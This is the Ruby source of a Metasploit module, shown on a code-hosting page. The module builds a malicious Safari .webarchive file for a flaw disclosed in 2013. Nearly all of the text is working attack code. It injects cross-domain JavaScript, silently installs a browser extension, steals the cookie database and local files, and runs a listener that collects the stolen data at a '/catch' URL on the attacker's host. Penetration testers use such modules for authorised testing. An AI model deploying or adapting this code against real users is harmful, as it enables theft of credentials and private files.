Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'uri'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::HttpServer::HTML10include Msf::Exploit::Format::Webarchive11include Msf::Auxiliary::Report1213def initialize(info = {})14super(update_info(info,15'Name' => 'Mac OS X Safari .webarchive File Format UXSS',16'Description' => %q{17Generates a .webarchive file for Mac OS X Safari that will attempt to18inject cross-domain Javascript (UXSS), silently install a browser19extension, collect user information, steal the cookie database,20and steal arbitrary local files.2122When opened on the target machine the webarchive file must not have the23quarantine attribute set, as this forces the webarchive to execute in a24sandbox.25},26'License' => MSF_LICENSE,27'Author' => 'joev',28'References' =>29[30['URL', 'https://www.rapid7.com/blog/post/2013/04/25/abusing-safaris-webarchive-file-format/']31],32'DisclosureDate' => '2013-02-22',33'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],34'PassiveActions' => [ 'WebServer' ],35'DefaultAction' => 'WebServer'))36end3738def run39if datastore["URIPATH"].blank?40datastore["URIPATH"] = "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)41end4243print_status("Creating '#{datastore['FILENAME']}' file...")44file_create(webarchive_xml)45exploit46end4748def on_request_uri(cli, request)49if request.method =~ /post/i50data_str = request.body.to_s51begin52data = JSON::parse(data_str || '')53file = record_data(data, cli)54send_response_html(cli, '')55print_good "#{data_str.length} chars received and stored to #{file}"56rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up57file = record_data(data_str, cli)58print_error "Invalid JSON stored in #{file}"59send_response_html(cli, '')60end61else62send_response(cli, webarchive_xml, {63'Content-Type' => 'application/x-webarchive',64'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\""65})66end67end6869# @param [Hash] data the data to store in the log70# @return [String] filename where we are storing the data71def record_data(data, cli)72if data.is_a? Hash73file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'')74end75store_loot(76file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data"77)78end7980# @return [String] formatted http/https URL of the listener81def backend_url82proto = (datastore["SSL"] ? "https" : "http")83myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']84port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"85"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"86end8788def message89super + (datastore['INSTALL_EXTENSION'] ? " <a href='javascript:void(0)'>Click here to continue.</a>" + popup_js : '')90end9192def popup_js93wrap_with_script do94%Q|95window.onclick = function() {96window.open('data:text/html,<script>opener.postMessage("EXT", "*");window.location="#{apple_extension_url}";<\\/script>');97};98|99end100end101102103end104105106